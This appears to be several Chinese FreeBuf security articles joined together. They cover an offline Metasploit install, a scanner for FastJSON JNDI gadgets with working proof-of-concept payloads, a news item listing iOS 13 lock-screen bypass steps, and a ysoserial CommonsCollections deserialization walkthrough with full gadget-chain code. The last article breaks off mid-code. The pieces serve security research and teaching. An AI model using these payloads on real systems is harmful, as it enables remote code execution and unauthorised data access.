最近需在内网服务器搭建安全工具环境,苦于内网服务器无法访问互联网,需要很多依赖包比较麻烦,尤其metasploit无互联网安装特别麻烦,而且网上metasploit的安装教程均是在线一键安装教程,对于无法访问互联网的服务器进行安装均无效,经过多次测试终于完成离线安装,先整理了下安装过程步骤。

建议在能访问互联网的环境里先按照步骤安装一遍,即能熟悉安装过程又能下载所需的软件包和各种依赖包。

一、准备工作

以下均在能连通互联网的linux主机上操作:

1)下载最新yaml:wget http://pyyaml.org/download/libyaml/yaml-0.2.2.tar.gz

2)下载最新ruby:wget http://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.0-preview1.tar.gz

3)下载依赖包,使用yum下载不安装命令,下载相关依赖于目录/opt/devel中:

yum install sqlite-devel libxslt-devel libxml2-devel java-1.7.0-openjdk libpcap-devel nano openssl-devel zlib-devel libffi-devel gdbm-devel readline-devel nano –downloadonly –downloaddir=/opt/devel

1567653615_5d707eef59e5e.png!small

1567653621_5d707ef507d4e.png!small 4)下载PostgreSQL RPM Building Project – Repository Packages(centos7):

https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm

安装:rpm  -ivh  pgdg-redhat-repo-latest.noarch.rpm

5)下载postgresql-11,使用yum下载不安装命令,下载postgresql-11及相关依赖于目录/opt/postgresql中:

yum  install postgresql11-server –downloadonly  –downloaddir=/opt/postgresql

6)下载metasploit

在github下载:

https://github.com/rapid7/metasploit-framework/archive/master.zip

二、安装步骤

1、安装依赖

1)安装’Development Tools’

yum groupinstall ‘Development Tools’      

2)安装上面下载在/opt/devel目录的依赖包:

cd  /opt/devel

yum   install  -y   ./*            //安装所有依赖包

此处注意,如果测试互联网主机为centos系统,内网主机为redhat系统,注意先删除下载的centos-release-7-6.1810.2.el7.centos.x86_64.rpm此文件,再yum安装。

2、yaml安装教程

将下载的yaml-0.2.2.tar.gz 复制到内网主机的目录/usr/src

cd /usr/src

tar zxvf yaml-0.2.2.tar.gz       

cd yaml-0.2.2

./configure --prefix=/usr/local

make && make install

3、ruby安装教程

将下载的ruby-2.7.0-preview1.tar.gz 复制到内网主机的目录/usr/src

cd /usr/src

tar zxvf ruby-2.7.0-preview1.tar.gz

./configure --prefix=/usr/local  --with-opt-dir=/usr/local/lib

make && make install

4、安装postgresql-11

将下载的postgresql-11软件及依赖包拷贝至内网主机的目录/opt/postgresql

cd  /opt/postgresql

yum install -y ./*                //安装所有postgresql-11软件及依赖包

此处注意,如果测试互联网主机为centos系统,内网主机为redhat系统,注意先删除下载的centos-release-7-6.1810.2.el7.centos.x86_64.rpm此文件,再yum安装。

1567653635_5d707f03b2608.png!small

/usr/pgsql-11/bin/postgresql-11-setup initdb    //初始化数据库

1567653640_5d707f08e7053.png!small

systemctl enable postgresql-11.service          //服务开机启动

systemctl start postgresql-11.service           //启动服务

systemctl status postgresql-11.service          //查看服务状态

1567653645_5d707f0d4d529.png!small因为编译ruby所必须的gem时,需要把新安装的加入路径,这样编译器就能找到库和二进制文件,执行命令:

echo export PATH=/usr/pgsql-11/bin:\$PATH  >> /etc/bashrc

source ~/.bashrc

 切换到Postgres用户,创建我们将要用于Metasploit的用户名和数据库,命令如下:

su  -  postgres

createuser msf -P -S -R -D      //创建用户msf,会提示输入密码

createdb -O msf msf             //创建数据库

exit

为允许我们创建的用户能够连接Postgresql,我们需要设置一下pg_hba.conf文件,命令如下:

vim /var/lib/pgsql/11/data/pg_hba.conf

需要的添加的内容如下:

local  msf   msf    md5

host   msf   msf 127.0.0.1/32   md5

host   msf   msf ::1/128   md5

 

systemctl  restart  postgresql-11.service     //重启postgresql服务

5、下载Metasploit依赖的Ruby库(在互联网主机上操作)

gem install wirble pg sqlite3 msgpack activerecord redcarpet rspec simplecov yard bundler   

将自动加载在本地的gem包拷贝出来供内网使用,目录:/usr/local/lib/ruby/gems/2.7.0/cache

将此目录中的所有文件拷贝出供内网主机安装使用。

在内网主机:

cd   /opt/cache        //拷贝gem包的目录

gem install -l  wirble pg sqlite3 msgpack activerecord redcarpet rspec simplecov yard bundler   // -l 本地安装

安装过程中遇到如下报错附解决办法

1)zlib报错

1567653653_5d707f1558fc9.png!small 

解决办法:

yum  install  zlib-devel     //安装依赖包zlib-devel

cd  /usr/src/ruby-2.7.0-preview1/ext/zlib    //进入ruby的软件包解压目录的ext/zlib目录中

ruby  extconf.rb

make&&make  install

2)openssl报错

1567653657_5d707f19e1f57.png!small 

解决办法:

yum  install   openssl-devel    //安装依赖包 openssl-devel

cd   /usr/src/ruby-2.7.0-preview1/ruby-2.3.8/ext/openssl  //进入ruby的软件包解压目录的ext/openssl目录中

ruby   extconf.rb

make&&make  install

3)pg报错(缺少依赖)

cd  /opt/postgresql                 //进入postgresql下载的目录

yum  install  postgresql-devel       //安装依赖postgresql-devel

6、Metasploit安装

cd  /opt              //metasploit-framework-master.zip放置的目录

unzip  metasploit-framework-master.zip

mv  metasploit-framework-master    metasploit-framework    //修改解压后的目录名

cd  /opt/metasploit-framework

1)为了在终端下也能运行,创建软链接;命令如下:

bash -c 'for MSF in $(ls msf*); do ln -s /opt/metasploit-framework/$MSF /usr/local/bin/$MSF;done'

ln  -s  /opt/metasploit-framework/armitage /usr/local/bin/armitage

2)在终端下,进入Metasploit的文件中,使用Bundler Gem来安装合适的Gem版本:(在互联网主机上操作)

cd  /opt/metasploit-framework

bundle   install       //需较长时间

将自动加载在本地的gem包拷贝出来供内网使用,目录:/usr/local/lib/ruby/gems/2.7.0/cache

将此目录中的所有文件拷贝出供内网主机安装使用。

cd   /usr/local/lib/ruby/gems/2.7.0/cache

gem  install -l  ./*                 //安装所有的gem文件

3)  创建Metasploit框架将要使用的database.yml,命令如下:

vim  /opt/metasploit-framework/database.yml

database.yml中的具体内容如下:

  production:

  adapter: postgresql

  database: msf

  username: msf

  password: mypass                  //上面创建的用户msf的密码

  host: 127.0.0.1

  port: 5432

  pool: 75

  timeout: 5

再次执行以下命令,这样就能通过Armitage和msfconsole在当前shell中创建和加载环境变量:

echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml >> /etc/bashrc

source ~/.bashrc

7、    最后,让我们运行已经安装的Metasploit,命令如下:

msfconsole

1567653666_5d707f2239329.png!small

参考链接:

https://blog.csdn.net/bnxf00000/article/details/44872709

https://www.cnblogs.com/jimcsharp/p/8576766.html

*本文作者:Tommg唐,转载请注明来自FreeBuf.COM

0×01引言

在计算机科学中,抽象语法树是源代码语法结构的一种抽象表示,它以树状的形式表现编程语言的语法结构,树上的每个节点都对应为源代码中的一种语法结构。抽象语法树可以说是静态代码分析中最常用的,也是最核心的技术之一,通过抽象语法树可以很方便构建模型,判断源码中是否存在缺陷特征。

本文简单构建了一个判断模型,去尝试寻找FastJSON 的gadgets。

0×02前置知识

FastJSON 是阿里开源的由Java语言编写的高性能JSON库,目前在国内大范围的使用。FastJSON 在版本小于1.2.25时存在反序列化漏洞,可以利用造成远程代码执行。而最近又报出版本小于1.2.48时存在修复绕过,已知多个国内Top N的互联网公司均出现该漏洞导致的web入侵事件。

FastJSON的反序列化漏洞从功能上讲是因为FastJSON允许将json字符串直接转化成java对象,这个功能通常被称为反序列化。而FastJSON 在反序列化时,也就是由json字符串生成java对象的时候会执行目标类的构造函数,set开头的方法,get开头的方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值,这就及其容易造成RCE。

1.2.25版本以后,FastJSON 增加了一个checkAutoType 方法,用来防御反序列化漏洞,其防御理念可以总结为:

新增autotype设置,用来配置是否允许反序列化任意类, 默认关闭。

新增黑名单检查,在黑名单中的类都不允许反序列化。

这样防御理念也意味着,如果用户开启了autotype设置,我们只需要找到一个不在FastJSON黑名单中的类,就同样可能实施攻击。事实上黑名单的防御方式,通常来说都靠谱,每过一段时间就会报出绕过。比如最近就爆出的两个不在黑名单的类可以实现RCE。

ch.qos.logback.core.db.JNDIConnectionSource

com.zaxxer.hikari.HikariConfig

这两个类都是使用了JNDI 注入技术实现RCE,其漏洞触发特征是相当明显的。比如com.zaxxer.hikari.HikariConfig类的触发点就只有两句java代码。

Clipboard Image.png

简单的来说就是一个可控变量作为InitialContext类下lookup方法的参数,就可以实现RCE。

(关于JNDI注入实现远程代码执行的细节问题,不是本文关注的重点,有兴趣的同学可以去查看:深入理解JNDI注入与Java反序列化漏洞利用 – FreeBuf专栏·安全引擎

既然特征非常明显,会不会有其他类也和HikariConfig类一样可以帮助我们实现RCE?现在我们就来尝试下去寻找下这个类。

0×03寻踪

我们整理下工作思路:

反编译不在FastJSON黑名单中的jar包,生成java源码文件。

由java源码文件生成AST语法树。

对语法树进行条件判断,筛选出符合条件的类。

尝试构造poc。

反编译代码

这里我们主要工作是把本地maven的缓存目录 ~/.m2/repository下缓存的jar包去重后,全部进行反编译。在这里我们可以依据jar包路径判断下java 包在不在FastJSON 黑名单中,对于在黑名单中的jar 包就没必要进行反编译了(后来发现这个判断似乎不是很靠谱,会有误判和漏判,但在可接受的范围内)。

反编译使用FernFlower,这是一个命令行的下java反编译工具,可以很轻松的实现jar的完整反编译。

反编译命令如下:

 java -jar fernflower.jar jarToDecompile.jar decomp/

(其中jarToDecompile.jar是需要反编译的jar文件,decomp是反编译后的生成文件所存放的目录)

该命令执行完后,会在decomp目录生成一个jarToDecompile.jar的文件,直接使用unzip 命令解压这个生成的文件,即可看见源码。

def decomplier(file):
    """
    反编译
    :param file:
    :return:
    """
    cmd = "java -jar ~/tools/FernFlower.jar " + file + "  /Users/xxxxxxx/source/   > /dev/null 2>&1"
    os.system(cmd)

    jar_file_name = file.split('/')[-1]
    jar_file_path = "/Users/xxxxxxx/source/" + jar_file_name

    target_dir = jar_file_name.split('.')[:-1]
    source_dir = '.'.join(target_dir)
    source_dir = '/Users/xxxxxxx/source/' + source_dir
    unzip_cmd = "unzip " + jar_file_path + " -d " + source_dir + " > /dev/null 2>&1"
    os.system(unzip_cmd)
    return source_dir

值得注意的是FastJSON 在1.2.41 版本后将黑名单改成hash的形式,不再以明文展示。那么,我们怎么能获取到原始的黑名单呢?这里需要借助大牛的工作成果,fastjson-blacklist这个项目实现了暴破FastJSON黑名单hash原文的功能,并且共享出已经爆破出来的黑名单原文。

生成AST语法树

这里的目标是把反编译生成的源文件解析成抽象语法树的形式。

python中生成java语法树的库叫javalang,它能很方便的生成java的抽象语法树。

安装命令:

pip install javalang

使用javalang生成java语法树非常方便,仅仅只需要两行代码。

import javalang
tree = javalang.parse.parse("package javalang.brewtab.com; class Test {}")

生成的语法树如下图所示:

Clipboard Image.png

javalang 会将每一种语法结构都映射为一个类对象。从上图可以看出,整个源文件被映射成CompilationUnit对象,它有package、imports和types 3个主要属性,分别表示包名信息,导入类信息,以及源码文件中的类型声明。同时这个三个属性也是被抽象为相应的类对象。比如包名信息被抽象为PackageDeclaration对象,类声明被映射为ClassDeclaration 对象。

同理,ClassDeclaration对象的各个属性也代表了源码文件中的类声明的各个结构信息,例如annotations属性记载了源码中类上的注解信息,extends属性记载了源码文件中类的继承信息,implements记载了源码文件中类的实现接口情况,其他属性类似。

了解语法树的大致结构后,我们就可以通过比较抽象语法树节点的各个属性,来判断目标类是否符合判断条件了。

条件判断

这一步是最关键的,把源文件进行条件筛选,找出目标类。

首先进行是初步筛选,初步筛选直接采用字符串比较或者正则表达式进行,是最快速也是最有效的筛选方式。对于这个案例我们初步筛选的条件定为目标文件中是否存在InitialContext字符串,对于没有包含JNDI注入中关键类InitialContext的文件没必要进行语法树判断。

# 字符串判断快速过滤
if "InitialContext(" not in _contents:
    return False

接下来是在语法树上类层面的判断,FastJSON的checkAutoType方法对反序列化的类有三点限制:

1、不能继承 Classloader。

2、不能实现 DataSource 和 RowSet 接口。

3、必须有一个无参的构造函数。

类结构被javalang抽象成ClassDeclaration对象,而我们需要做的就是判断ClassDeclaration对象相应的属性是否满足条件

def get_class_declaration(root):
    """
    筛选出符合条件的类
    :param root:
    :return:
    """
    class_list = []
    black_interface = ("DataSource", "RowSet")
    for node in root.types:
        # 非类声明都不分析
        if isinstance(node, ClassDeclaration) is False:
            continue
        # 判断是否继承至classloader
        if node.extends is not None and node.extends.name == "ClassLoader":
            continue
        # 判断是否实现被封禁的接口
        interface_flag = False
        if node.implements is None:
            node.implements = []
        for implement in node.implements:
            if implement.name in black_interface:
                interface_flag = True
                break
        if interface_flag is True:
            continue
        # 判断是否存在无参的构造函数
        constructor_flag = False
        for constructor_declaration in node.constructors:
            if len(constructor_declaration.parameters) == 0:
                constructor_flag = True
                break
        if constructor_flag is False:
            continue
        class_list.append(node)
    return class_list

最后,我们还需要判断类方法中是否调用了lookup 方法,并且需要lookup方法的参数是变量。

在语法树中函数声明被抽象为MethodDeclaration对象,函数调用被抽象成MethodInvaction对象,那么判断是否调用lookup方法就很简单了,我们只需要深度优先遍历整个MethodDeclaration对象的各个子节点,判断节点的类型是不是MethodInvaction,以及被调用的函数名是不是lookup就行。判断lookup的变量是否可控就比较复杂了,涉及数据流分析,不过在这里我们可以简化逻辑,认为类的属性和方法的入参都是可控变量。代码如下:

def ack(method_node):
    """
    1、是否调用的lookup 方法,
    2、lookup中参数必须是变量
    3、lookup中的参数必须来自函数入参,或者类属性
    :param method_node:
    :return:
    """
    target_variables = []
    for path, node in method_node:
        # 是否调用lookup 方法
        if isinstance(node, MethodInvocation) and node.member == "lookup":
            # 只能有一个参数。
            if len(node.arguments) != 1:
                continue
            # 参数类型必须是变量,且必须可控
            arg = node.arguments[0]
            if isinstance(arg, Cast):    # 变量 类型强转
                target_variables.append(arg.expression.member)
            if isinstance(arg, MemberReference):  # 变量引用
                target_variables.append(arg.member)
            if isinstance(arg, This):       # this.name, 类的属性也是可控的
                return True
    if len(target_variables) == 0:
        return False
    # 判断lookup的参数,是否来自于方法的入参,只有来自入参才认为可控
    for parameter in method_node.parameters:
        if parameter.name in target_variables:
            return True
    return False

0×04结果

笔者一共反编译了487个jar包,生成5w+源文件,经过脚本分析后一共命中4个类中的5个方法。如下:

source/commons-configuration-1.9/org/apache/commons/configuration/JNDIConfiguration.java containsKey

source/commons-configuration-1.9/org/apache/commons/configuration/JNDIConfiguration.java getProperty

source/HikariCP-3.3.1/com/zaxxer/hikari/HikariConfig.java getObjectOrPerformJndiLookup

source/ojdbc14-10.2.0.2/oracle/jdbc/connector/OracleManagedConnectionFactory.java setupXADataSource

source/xalan-2.7.2/org/apache/xalan/lib/sql/JNDIConnectionPool.java findDatasource

经过测试,命中的4个文件都是可以利用的。不过其中HikariConfig类就是前文提到的类,在最新版本被加入黑名单,JNDIConnectionPool类在42版本前就被加入黑名单了。另外的两个类JNDIConfiguration和 OracleManagedConnectionFactory都可以构造出攻击poc,且尚未被加入黑名单。

JNDIConfiguration POC:

   static void fastjson(){
        String json;
        json = "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1389/Exploit\"}";
        Object object = JSON.parseObject(json);
        System.out.println("type:"+ object.getClass().getName() +" "+ object);
    }

Clipboard Image.png

OracleManagedConnectionFactory POC:

  static void fastjson(){
        String json;
        json = "{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"rmi://127.0.0.1:1389/Exploit\"}";
        Object object = JSON.parseObject(json);
        System.out.println("type:"+ object.getClass().getName() +" "+ object);
    }

Clipboard Image.png

本文相关的代码上传至github: fastjson_gadgets_scanner

0×05参考文章

https://srcincite.io/blog/2019/08/07/attacking-unmarshallers-jndi-injection-using-getter-based-deserialization.html

https://b1ue.cn/archives/201.html

https://the.bytecode.club/fernflower.txt

*本文原创作者:淡蓝色de忧伤,本文属于FreeBuf原创奖励计划,未经许可禁止转载

距离9月19日发布最新的iOS 13系统还有3天。不幸的是iOS 13还未正式发布,安全研究人员就公开了一个锁屏绕过的漏洞,POC中可以看到绕过锁屏后可以查看iOS设备的通讯录。

在iOS设备中,当设备(屏幕)锁定时,用户无法查看设备中保存的信息,比如通讯录、照片、短信等。锁屏(密码)绕过漏洞是指在设备未解锁时无需解锁设备就可以访问设备上的内容。

发现该漏洞的是一个西班牙的安全研究人员Jose Rodriguez。他发现利用该漏洞可以访问iPhone设备上的全部通讯录,以及联系人相关的其他信息,包括姓名、电话号码、邮件等。

为了证明该漏洞,研究人员创建了POC视频,从视频中可以看出查看设备联系人信息非常简单。下面是利用该漏洞成功绕过锁屏的步骤:

用定制信息回复来电;

启用VoiceOver功能;

关闭VoiceOver功能;

发送定制消息给新的联系人;

点击联系人头像来打开选项菜单,选择Add to existing contact;

联系人列表出现后,点击其他联系人查询信息。

POC视频地址:www.youtube.com/embed/pW0TTnBCA04

Rodriguez是在iOS 13 beta版中发现的漏洞,已于7月17日将该漏洞提交给了苹果。但是2个月过去了,苹果公司仍然没有修复该漏洞,研究人员在iOS 13的Gold Master (GM)版本中复现了该漏洞,而iOS 13的最终版本将于9月19日推送给用户。因此iOS 13中大概率不会修复该漏洞,而预计9月30日发布的iOS 13.1应该会修改该漏洞。

参考及来源:

https://securityaffairs.co/wordpress/91240/hacking/passcode-bypass-bug-ios-13.html

https://www.bleepingcomputer.com/news/security/ios-13-passcode-bypass-lets-you-view-contacts-on-locked-devices/


引言

CommonsCollection在java反序列化的源流中已经存在了4年多了,关于其中的分析也是层出不穷,本文旨在整合分析一下ysoserial中CommonsCollection反序列化漏洞的多种利用手段,从中探讨一下漏洞的思路,并且对于ysoserial的代码做一下普及,提升大家对于ysoserial的代码阅读能力。

ysoserial的关键编码技术介绍

首先我们先去了解一下ysoserial的源码中的一些常用技术做一个简单的科普。

动态代理

动态代理比较常见的用处就是:在不修改类的源码的情况下,通过代理的方式为类的方法提供更多的功能。

举个例子来说(这个例子在开发中很常见):我的开发们实现了业务部分的所有代码,忽然我期望在这些业务代码中多添加日志记录功能的时候,一个一个类去添加代码就会非常麻烦,这个时候我们就能通过动态代理的方式对期待添加日志的类进行代理。

看一个简单的demo:

Work接口需要实现work函数

public interface Work {
    public String work();
}

Teacher类实现了Work接口

public class Teacher implements Work{
    @Override
    public String work() {
        System.out.println("my work is teach students");
        return "Teacher";
    }
}

WorkHandler用来处理被代理对象,它必须继承InvocationHandler接口,并实现invoke方法

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class WorkHandler implements InvocationHandler{
    //代理类中的真实对象
    private Object obj;
    //构造函数,给我们的真实对象赋值
    public WorkHandler(Object obj) {
        this.obj = obj;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        //在真实的对象执行之前我们可以添加自己的操作
        System.out.println("before invoke。。。");
        //java的反射功能,用来调用obj对象的method方法,传入参数为args
        Object invoke = method.invoke(obj, args);
        //在真实的对象执行之后我们可以添加自己的操作
        System.out.println("after invoke。。。");
        return invoke;
    }
}

在Test类中通过Proxy.newProxyInstance进行动态代理,这样当我们调用代理对象proxy对象的work方法的时候,实际上调用的是WorkHandler的invoke方法

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Test {
    public static void main(String[] args) {
        //要代理的真实对象
        Work people = new Teacher();
        //代理对象的调用处理程序,我们将要代理的真实对象传入代理对象的调用处理的构造函数中,最终代理对象的调用处理程序会调用真实对象的方法
        InvocationHandler handler = new WorkHandler(people);
        /**
         * 通过Proxy类的newProxyInstance方法创建代理对象,我们来看下方法中的参数
         * 第一个参数:people.getClass().getClassLoader(),使用handler对象的classloader对象来加载我们的代理对象
         * 第二个参数:people.getClass().getInterfaces(),这里为代理类提供的接口是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法
         * 第三个参数:handler,我们将代理对象关联到上面的InvocationHandler对象上
         */
        Work proxy = (Work)Proxy.newProxyInstance(handler.getClass().getClassLoader(), people.getClass().getInterfaces(), handler);
        System.out.println(proxy.work());
    }
}

看一下输出结果,我们再没有改变Teacher类的前提下通过代理Work接口,实现了work函数调用的重写。

before invoke。。。
my work is teach students
after invoke。。。
Teacher

javassist动态编程

ysoserial中基本上所有的恶意object都是通过动态编程的方式生成的,通过这种方式我们可以直接对已经存在的java文件字节码进行操作,也可以在内存中动态生成Java代码,动态编译执行,关于这样做的好处,作者在工具中也有提到:

could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

关于javassist动态编程,我就只把关键的函数及其功能罗列一下了

//获取默认类池,只有在这个ClassPool里面已经加载的类,才能使用
ClassPool pool = ClassPool.getDefault();
//获取pool中的某个类
CtClass cc = pool.get("test.Teacher");
//为cc类设置父类
cc.setSuperclass(pool.get("test.People"));
//将动态生成类的class文件存储到path路径下
cc.writeFile(path);
//获取类的字节码
byte[] b=cc.toBytecode();
//创造Point类
CtClass cc = pool.makeClass("Point");
//为cc类添加成员变量
cc.addField(f);
//为cc类添加方法
cc.addMethod(m);
//为cc类设置类名
cc.setName("Pair");

CommonsCollections反序列化漏洞的利用

关于CommonsCollections利用的最基础的原理,已经在很久以前都被各位大佬,分析的烂熟了,所以这里我就只点到为止了,如果有不熟悉的可以去看一下@BadCode写的分析,非常的详细。

这边先看一下基础模块,

public void CommonsCollectionsTest() {
        String[] execArgs = new String[]{"open /Applications/Calculator.app/"};
        // inert chain for setup
        Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{new ConstantTransformer(1)});
        // real chain for after setup
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, execArgs),
                new ConstantTransformer(1)};
        setFieldValue(transformerChain, "iTransformers", transformers);
        //transform函数要求传入一个Object对象,但是不论传入什么都不会影响我们的命令执行,所以我这边就随便传入一个字符串
        transformerChain.transform("aaa");
    }

CommonsCollections造成RCE的根本原因就在于我们构造了一个特殊的ChainedTransformer类的对象,这样当我们调用这个对象的transform函数的时候,就会造成命令执行,于是,我们需要做的事情就是去寻找某个类,把包含恶意代码的transformerChain放到这个类里面,当对这个类的对象进行反序列化的时候会调用transformerChain的transform函数。

上代码前先把pom.xml的依赖给出来

<dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>com.nqzero</groupId>
            <artifactId>permit-reflect</artifactId>
            <version>0.3</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>
    </dependencies>

注1:本次试验我这边主要使用了jdk1.7u21、jdk1.8_101、jdk1.8_171几个版本的jdk,所以关于漏洞适用的jdk可能存在总结不对的可能性,还望斧正

注2:关于试验适用的CommonsCollections版本,其实下面的每个payload基本都可以同时在3.1-3.2.1和4.0版本适用,但是不同版本生成一些对象的方式会稍有不同,所以实验中标记的CommonsCollections适用版本是指ysoserial生成变量的时候用的是哪个版本的代码规范。

CommonsCollections1

适用版本:3.1-3.2.1,jdk1.8以前

这边先上CommonsCollections1的代码,为了便于阅读,这些代码都是我从ysoserial里面抽离并简化了的,关键的部分已经给上了注释,

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import com.nqzero.permit.Permit;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import static sun.reflect.misc.FieldUtil.getField;
public class CommonsCollectionPayload {
    static String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    //getInvocationHandler用于获取名为handler的InvocationHandler实例,并将map传入成员变量memberValues
    public static InvocationHandler getInvocationHandler(String handler, Map<String, Object> map) throws Exception {
        //获取构造函数
        final Constructor<?> ctor = Class.forName(handler).getDeclaredConstructors()[0];
        //获取handler的私有成员的访问权限,否则会报 can not access a member of class sun.reflect.annotation.AnnotationInvocationHandler
        Permit.setAccessible(ctor);
        //实例化
        return (InvocationHandler) ctor.newInstance(Override.class, map);
    }
    //createMyproxy用于返回handler为ih,代理接口为iface的动态代理对象
    public static <T> T createMyproxy(InvocationHandler ih, Class<T> iface) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
        allIfaces[0] = iface;
        return iface.cast(Proxy.newProxyInstance(CommonsCollectionPayload.class.getClassLoader(), allIfaces, ih));
    }
    //setFieldValue用于设置obj对象的成员变量fieldName的值为value
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = null;
        try {
            //获取私有成员变量
            field = obj.getClass().getDeclaredField(fieldName);
            //获取私有成员变量访问权限
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        String[] execArgs = new String[]{"open /Applications/Calculator.app/"};
        // inert chain for setup
        Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{new ConstantTransformer(1)});
        // real chain for after setup
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, execArgs),
                new ConstantTransformer(1)};
        //下面这部分为RCE的关键部分代码
        Map innerMap = new HashMap();
        //生成一个lazyMap对象,并将transformerChain赋值给对象的factory成员变量
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //创建一个Map接口的代理,并且为这个代理设置一个memberValues为lazyMap的AnnotationInvocationHandler
        Map mapProxy = (Map) createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap), Map.class);
        //创建一个memberValues为mapProxy的AnnotationInvocationHandler对象,这个对象也就是我们反序列化利用的恶意对象
        InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy);
        //通过反射的方式进行赋值,即使赋值在生成对象之后也没有关系
        setFieldValue(transformerChain, "iTransformers", transformers);
        //将恶意对象存储为字节码
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handler);
        oos.flush();
        oos.close();
        //读取恶意对象字节码并进行反序列化操作
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object evilObject = ois.readObject();
        ois.close();
    }
}

看一下关键部分的调用栈,

img1.png

当对恶意对象AnnotationInvocationHandler进行反序列化的时候,调用readObject方法,并对成员变量memberValues调用entrySet方法,

img2.png

由于memberValues是一个代理对象,所以回去调用该对象对应handler的invoke方法,一定要注意,这个时候的handler就是memberValues为lazyMap的handler了

img3.png

由于entrySet匹配不到if语句中的判断,走到else,,从而调用this.memberValues.get(var4),于是到达了lazyMap.get()了

img4.png

我们代码注释里已经说过了,lazyMap的factory变量就是我们的恶意对象transformerChain,并且调用了他的transform方法,成功造成命令执行。

我们去看一下3.2.2版本的时候这个漏洞是如何修复的

    private void writeObject(ObjectOutputStream os) throws IOException {
        FunctorUtils.checkUnsafeSerialization(class$org$apache$commons$collections$functors$InvokerTransformer == null ? (class$org$apache$commons$collections$functors$InvokerTransformer = class$("org.apache.commons.collections.functors.InvokerTransformer")) : class$org$apache$commons$collections$functors$InvokerTransformer);
        os.defaultWriteObject();
    }
    private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
        FunctorUtils.checkUnsafeSerialization(class$org$apache$commons$collections$functors$InvokerTransformer == null ? (class$org$apache$commons$collections$functors$InvokerTransformer = class$("org.apache.commons.collections.functors.InvokerTransformer")) : class$org$apache$commons$collections$functors$InvokerTransformer);
        is.defaultReadObject();
    }

就是在调用readObject和writeObject的时候把InvokerTransformer类给拉黑了。(当然这个还是需要看一下系统的配置org.apache.commons.collections.enableUnsafeSerialization的值的,不过这个值默认是false)

CommonsCollections2

适用版本:commons-collections-4.0, jdk7u21及以前其实这个CommonsCollections2只能叫另一种利用方式,而不能叫做CommonsCollections1的绕过,因为CommonsCollections1也是可以在commons-collections-4.0利用成功的,但是因为commons-collections-4.0删除了lazyMap的decode方法,所以需要将代码中的

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

修改为

Map lazyMap = LazyMap.lazyMap(innerMap,transformerChain);

而且,更重要的一点,CommonsCollections2不能在3.1-3.2.1版本利用成功,根本原因在于CommonsCollections2的payload中使用的TransformingComparator在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。

现在我们来看一下CommonsCollections2的payload

import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
